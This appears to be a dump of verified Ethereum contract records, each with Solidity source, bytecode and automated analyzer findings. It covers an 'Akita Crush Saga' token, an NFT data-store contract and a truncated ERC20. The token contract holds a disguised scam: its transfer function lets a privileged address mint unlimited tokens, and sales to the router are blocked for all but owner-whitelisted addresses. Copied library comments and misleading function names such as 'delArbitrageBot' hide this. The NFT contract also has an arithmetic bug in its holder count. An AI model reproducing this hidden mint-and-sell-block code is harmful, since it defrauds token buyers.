function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function opentokenpublicsale (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function delArbitrageBot(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract AKS is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 1000000000 * 10 ** 18;
constructor () ERC20('Akita Crush Saga','AKITA-CRUSH') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063b45c066514610243578063dd62ed3e1461025657600080fd5b806370a08231146101b9578063715018a6146101e25780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce5671461016057806339509351146101915780633bb9472e146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b6101b76101b2366004610be1565b610425565b005b61013f6101c7366004610ca6565b6001600160a01b031660009081526004602052604090205490565b6101b7610493565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610507565b61012b61022b366004610b65565b610516565b61012b61023e366004610b65565b6105b1565b6101b7610251366004610ca6565b6106bd565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b60005b815181101561048f5761047d82828151811061047057610470610da9565b6020026020010151610a40565b8061048781610dbf565b915050610452565b5050565b6000546001600160a01b031633146104bd5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b6105a733856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105d3575060095460ff1615156001145b156105f6576105e4335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b031633148015610613575060095460ff16155b156106ac576006546106259083610a8e565b6006556001600160a01b03831660009081526004602052604090205461064b9083610a8e565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061069c9086815260200190565b60405180910390a3506001610332565b6106b5336105dd565b506001610332565b6000546001600160a01b031633146106e75760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600080610a9b8385610d5c565b905083811015610aed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610bf457600080fd5b823567ffffffffffffffff80821115610c0c57600080fd5b818501915085601f830112610c2057600080fd5b813581811115610c3257610c32610bcb565b8060051b604051601f19603f83011681018181108582111715610c5757610c57610bcb565b604052918252848201925083810185019188831115610c7557600080fd5b938501935b82851015610c9a57610c8b85610b49565b84529385019392850192610c7a565b98975050505050505050565b600060208284031215610cb857600080fd5b610aed82610b49565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea2646970667358221220b7943c98db3d0de99e3a704128209a7f25f24d37f664767a4be9e6766fbc613064736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 6,131 |
0x4dde532FE36904E79d35bcDf11b7f18e274728A8
|
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
pragma solidity ^0.6.12;
/*
_ _ _ _____ _
| | | | | | / __ \ (_)
| | | |_ __ __ _ _ __ _ __ ___ __| | | / \/ ___ _ __ ___ _ __ __ _ _ __ _ ___ _ __
| |/\| | '__/ _` | '_ \| '_ \ / _ \/ _` | | | / _ \| '_ ` _ \| '_ \ / _` | '_ \| |/ _ \| '_ \
\ /\ / | | (_| | |_) | |_) | __/ (_| | | \__/\ (_) | | | | | | |_) | (_| | | | | | (_) | | | |
\/ \/|_| \__,_| .__/| .__/ \___|\__,_| \____/\___/|_| |_| |_| .__/ \__,_|_| |_|_|\___/|_| |_|
| | | | | |
|_| |_| |_|
______ _ _____ _ _
| _ \ | | / __ \ | | | |
| | | |__ _| |_ __ _ | / \/ ___ _ __ | |_ _ __ __ _ ___| |_
| | | / _` | __/ _` | | | / _ \| '_ \| __| '__/ _` |/ __| __|
| |/ / (_| | || (_| | | \__/\ (_) | | | | |_| | | (_| | (__| |_
|___/ \__,_|\__\__,_| \____/\___/|_| |_|\__|_| \__,_|\___|\__|
-NFT data store to hold the following
- Wrapped Status
- Blocked NFT's
- Is Holder?
- Status of wrapped (fees)
- number of holders (For future use)
- Array for address storage for royalty cleanup
*/
//Interface to NFT contract
interface wrappedcompanion{
////Interface to RCVR
function balanceOf(address owner) external view returns (uint256);
function tokenURI(uint256 tokenId ) external view returns (string memory);
function getArtApproval(uint _tokennumber,address _wallet)external view returns(bool);
function ownerOf(uint256 tokenId) external view returns (address);
}
interface ogcompanion{
////Interface to RCVR
function ownerOf(uint256 tokenId) external view returns (address);
}
contract NFTInfo{
//Arrays///
uint[] private blockednfts; //Array to handle a blocked nfts
//Std Variables///
address public wtcaddress = 0xc1A3bfd6678Ce5fb16db9A544cBd279850baA81D;
address public companion = 0xdE22827Fe636E8e7d8e21F5EAb10Db644f6AA361;
address public Owner;
address public manager; //Able to modify addresses at a lower level
address public royaltywallet; //Wallet for royalties
uint private numwraps;
uint public numholders;
uint public numblocked;
///////Important Mappings///////
mapping(address => bool) internal wrapped; //Whether a holder has wrapped
mapping(address => bool) internal holder; //Whether they are a holder
mapping(address => uint) internal feespaid; //Status of users fees -> 0 -> Not paid for wrap 1-> Paid once 0.01ETH 2-> Paid up to limit of 0.02ETH
mapping(address => uint) internal artenabled; //Dynamic mapping of ar enabled/disabled
mapping(address => string) internal artpath; //Dynamic mapping of art
mapping(uint => bool) internal blocked; //blocking due to mapping
///////Array for holders////////
address[] internal holderaddresses; //array to store the holders
////////////////////////////////
modifier onlyOwner() {
require(msg.sender == Owner);
_;
}
constructor () public {
Owner = msg.sender; //Owner of Contract
manager = msg.sender; //Owner as default
}
///Update NB address if required
function configNBAddresses(uint option,address _address) external onlyOwner{
if (option==1)
{
wtcaddress = _address;
}
if (option==2)
{
royaltywallet = _address;
}
if (option==3)
{
companion = _address;
}
}
//Setup ArtWork Manager address///
function setManager(address _manager) external onlyOwner
{
manager = _manager;
}
//Obtain Art status for user
function getArtStatus(address _wallet)public view returns(uint)
{
uint temp;
temp = artenabled[_wallet];
return temp;
}
////Sets the art path for a user
function setArtPath(uint _tokennumber,address _holder,uint _pathno) external
{
bool temp;
require(msg.sender == Owner || msg.sender==manager,"Not Auth!");
temp = wrappedcompanion(wtcaddress).getArtApproval(_tokennumber,_holder);
require(temp==true,"Owner not approved!");
if (_pathno == 1)
{
artenabled[_holder] = 1;
}
if (_pathno == 2)
{
artenabled[_holder] = 2;
}
if (_pathno == 3)
{
artenabled[_holder] = 3;
}
}
//Function to Verify whether an NFT is blocked
function isBlockedNFT(uint _tokenID) public view returns(bool,uint256)
{
bool temp = blocked[_tokenID];
return (temp,0);
}
//Function to return whether they are a holder or not
function isHolder(address _address) public view returns(bool)
{
bool temp;
if(holder[_address]==true)
{
temp=true;
}
return temp;
}
function manageHolderAddresses(bool status,address _holder) external {
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
if(status==true)
{
//Add user to array!
(bool _isholder, ) = isHolderInArray(_holder);
if(!_isholder)holderaddresses.push(_holder);
}
if(status==false)
{
(bool _isholder, uint256 s) = isHolderInArray(_holder);
if(_isholder){
holderaddresses[s] = holderaddresses[holderaddresses.length - 1];
holderaddresses.pop();
}
holder[ _holder]=status;
}
}
/////To keep track of holders for future use
function manageNumHolders(uint _option) external {
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
if (_option==1) //remove holder
{
numholders -= numholders -1;
}
if (_option==2) //add holder
{
numholders += 1;
}
}
/////Returns whether the user is stored in the array////////
function isHolderInArray(address _wallet) public view returns(bool,uint)
{
for (uint256 s = 0; s < holderaddresses.length; s += 1){
if(_wallet == holderaddresses[s]) return (true,s);
}
return (false,0);
}
/////////////////////////
///Function to override the numholders, this is incase of logic issues and to make sure claim is fair
function forceNumHolders(uint _value) external onlyOwner{
numholders = _value;
}
///Function to manage addresses
function manageBlockedNFT(int option,uint _tokenID,address _wallet,uint _numNFT) external onlyOwner{
address temp;
if (option==1) // Add NFT to block list
{
blocked[_tokenID] = true;
numblocked+=1;
}
if (option==2) //Remove from array
{
bool _isblocked = blocked[_tokenID];
if(_isblocked){
blocked[_tokenID] = false;
if (numblocked>0)
{
numblocked-=1;
}
}
}
if (option==3) //Iterate through entire colletion and add
{
for (uint256 s = 0; s < _numNFT; s += 1){
if(s>0)
{
temp = ownerOfToken(s);
if (temp ==_wallet)
{
blocked[s] = true;
numblocked+=1;
}
}
}
}
}
//Function to set the status of a wrap for fee support////
function setUserStatus(address _wrapper,uint _status,bool _haswrapped) external{
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
feespaid[_wrapper] = _status;
wrapped[_wrapper] = _haswrapped;
numwraps+=1; //track number of wraps
}
function getWrappedStatus(address _migrator) external view returns(bool){
bool temp;
if(wrapped[_migrator]==true)
{
temp = wrapped[_migrator];
}
return temp;
}
function getFeesStatus(address _migrator) external view returns(uint){
uint temp;
temp = feespaid[_migrator];
return temp;
}
function getNumHolders(uint _feed) external view returns(uint){
uint temp;
if (_feed ==1)
{
temp = numholders;
}
if (_feed ==2)
{
temp = holderaddresses.length;
}
if (_feed ==3)
{
temp = blockednfts.length;
}
return temp;
}
///Returns the holder address given an Index
function getHolderAddress(uint _index) external view returns(address payable)
{
address temp;
address payable temp2;
temp = holderaddresses[_index];
temp2 = payable(temp);
return temp2;
}
//Returns OwnerOf from NFT
function ownerOfToken(uint _tid) public view returns (address)
{
address temp;
temp = ogcompanion(companion).ownerOf(_tid);
return temp;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063adf38d84116100c3578063cb05f1961161007c578063cb05f19614610398578063d0ebdbe7146103d9578063d4d7b19a146103ff578063e04b712a14610425578063e83dbf711461042d578063fb74a54b1461046157610158565b8063adf38d84146102ca578063b4a99a4e146102e7578063bf291043146102ef578063c572a03414610315578063c57ac5d614610343578063c93ffa811461036057610158565b806357b2ca531161011557806357b2ca531461022e5780635def0cda1461025a57806361dcd8611461028057806378006e471461029d57806378ef9e32146102a55780637fdd822e146102ad57610158565b80630a868cdf1461015d57806315937df814610191578063387d42c5146101ab578063420f0b6b146101e5578063481c6a751461020957806352200a1314610211575b600080fd5b61018f6004803603606081101561017357600080fd5b508035906001600160a01b03602082013516906040013561047e565b005b610199610628565b60408051918252519081900360200190f35b6101d1600480360360208110156101c157600080fd5b50356001600160a01b031661062e565b604080519115158252519081900360200190f35b6101ed61067a565b604080516001600160a01b039092168252519081900360200190f35b6101ed610689565b6101996004803603602081101561022757600080fd5b5035610698565b61018f6004803603604081101561024457600080fd5b50803590602001356001600160a01b03166106ca565b6101996004803603602081101561027057600080fd5b50356001600160a01b0316610754565b61018f6004803603602081101561029657600080fd5b503561076f565b61019961078b565b6101ed610791565b6101ed600480360360208110156102c357600080fd5b50356107a0565b61018f600480360360208110156102e057600080fd5b50356107cf565b6101ed610871565b6101996004803603602081101561030557600080fd5b50356001600160a01b0316610880565b61018f6004803603604081101561032b57600080fd5b508035151590602001356001600160a01b031661089b565b6101ed6004803603602081101561035957600080fd5b5035610a5d565b61018f6004803603608081101561037657600080fd5b508035906020810135906001600160a01b036040820135169060600135610ae1565b6103be600480360360208110156103ae57600080fd5b50356001600160a01b0316610beb565b60408051921515835260208301919091528051918290030190f35b61018f600480360360208110156103ef57600080fd5b50356001600160a01b0316610c48565b6101d16004803603602081101561041557600080fd5b50356001600160a01b0316610c81565b6101ed610cb2565b61018f6004803603606081101561044357600080fd5b506001600160a01b0381351690602081013590604001351515610cc1565b6103be6004803603602081101561047757600080fd5b5035610d7e565b6003546000906001600160a01b03163314806104a457506004546001600160a01b031633145b6104e1576040805162461bcd60e51b81526020600482015260096024820152684e6f7420417574682160b81b604482015290519081900360640190fd5b600154604080516316dcf53d60e31b8152600481018790526001600160a01b0386811660248301529151919092169163b6e7a9e8916044808301926020929190829003018186803b15801561053557600080fd5b505afa158015610549573d6000803e3d6000fd5b505050506040513d602081101561055f57600080fd5b505190506001811515146105b0576040805162461bcd60e51b81526020600482015260136024820152724f776e6572206e6f7420617070726f7665642160681b604482015290519081900360640190fd5b81600114156105d6576001600160a01b0383166000908152600c60205260409020600190555b81600214156105fc576001600160a01b0383166000908152600c60205260409020600290555b8160031415610622576001600160a01b0383166000908152600c60205260409020600390555b50505050565b60075481565b6001600160a01b038116600090815260096020526040812054819060ff1615156001141561067457506001600160a01b03821660009081526009602052604090205460ff165b92915050565b6001546001600160a01b031681565b6004546001600160a01b031681565b60008082600114156106a957506007545b82600214156106b75750600f545b8260031415610674575050600054919050565b6003546001600160a01b031633146106e157600080fd5b816001141561070657600180546001600160a01b0319166001600160a01b0383161790555b816002141561072b57600580546001600160a01b0319166001600160a01b0383161790555b816003141561075057600280546001600160a01b0319166001600160a01b0383161790555b5050565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b0316331461078657600080fd5b600755565b60085481565b6002546001600160a01b031681565b6000806000600f84815481106107b257fe5b6000918252602090912001546001600160a01b0316949350505050565b6001546001600160a01b03163314806107f257506003546001600160a01b031633145b8061080757506005546001600160a01b031633145b61084c576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b806001141561085b5760016007555b806002141561086e576007805460010190555b50565b6003546001600160a01b031681565b6001600160a01b03166000908152600b602052604090205490565b6001546001600160a01b03163314806108be57506003546001600160a01b031633145b806108d357506005546001600160a01b031633145b610918576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b6001821515141561098457600061092e82610beb565b5090508061098257600f80546001810182556000919091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b0319166001600160a01b0384161790555b505b816107505760008061099583610beb565b915091508115610a3357600f805460001981019081106109b157fe5b600091825260209091200154600f80546001600160a01b0390921691839081106109d757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600f805480610a1057fe5b600082815260209020810160001990810180546001600160a01b03191690550190555b50506001600160a01b03166000908152600a60205260409020805460ff1916911515919091179055565b600254604080516331a9108f60e11b815260048101849052905160009283926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b158015610aae57600080fd5b505afa158015610ac2573d6000803e3d6000fd5b505050506040513d6020811015610ad857600080fd5b50519392505050565b6003546001600160a01b03163314610af857600080fd5b60008460011415610b29576000848152600e60205260409020805460ff191660019081179091556008805490910190555b8460021415610b75576000848152600e602052604090205460ff168015610b73576000858152600e60205260409020805460ff1916905560085415610b7357600880546000190190555b505b8460031415610be45760005b82811015610be2578015610bda57610b9881610a5d565b9150836001600160a01b0316826001600160a01b03161415610bda576000818152600e60205260409020805460ff191660019081179091556008805490910190555b600101610b81565b505b5050505050565b60008060005b600f54811015610c3a57600f8181548110610c0857fe5b6000918252602090912001546001600160a01b0385811691161415610c3257600192509050610c43565b600101610bf1565b50600080915091505b915091565b6003546001600160a01b03163314610c5f57600080fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600a6020526040812054819060ff161515600114156106745750600192915050565b6005546001600160a01b031681565b6001546001600160a01b0316331480610ce457506003546001600160a01b031633145b80610cf957506005546001600160a01b031633145b610d3e576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b6001600160a01b03929092166000908152600b60209081526040808320939093556009905220805460ff1916911515919091179055600680546001019055565b6000908152600e602052604081205460ff169156fea26469706673582212201e9bc9f0b6f0abb6de415b09e65e06e9c60c7bf6e9e74529402b4af34765b30e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,132 |
0x1cc945Be7d0D2C852d0096A8b5714b44eD21D5D3
|
pragma solidity 0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _cap;
constructor (string memory name, string memory symbol, uint8 decimals, uint256 cap) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_cap = cap;
}
function name() public view returns (string memory) {
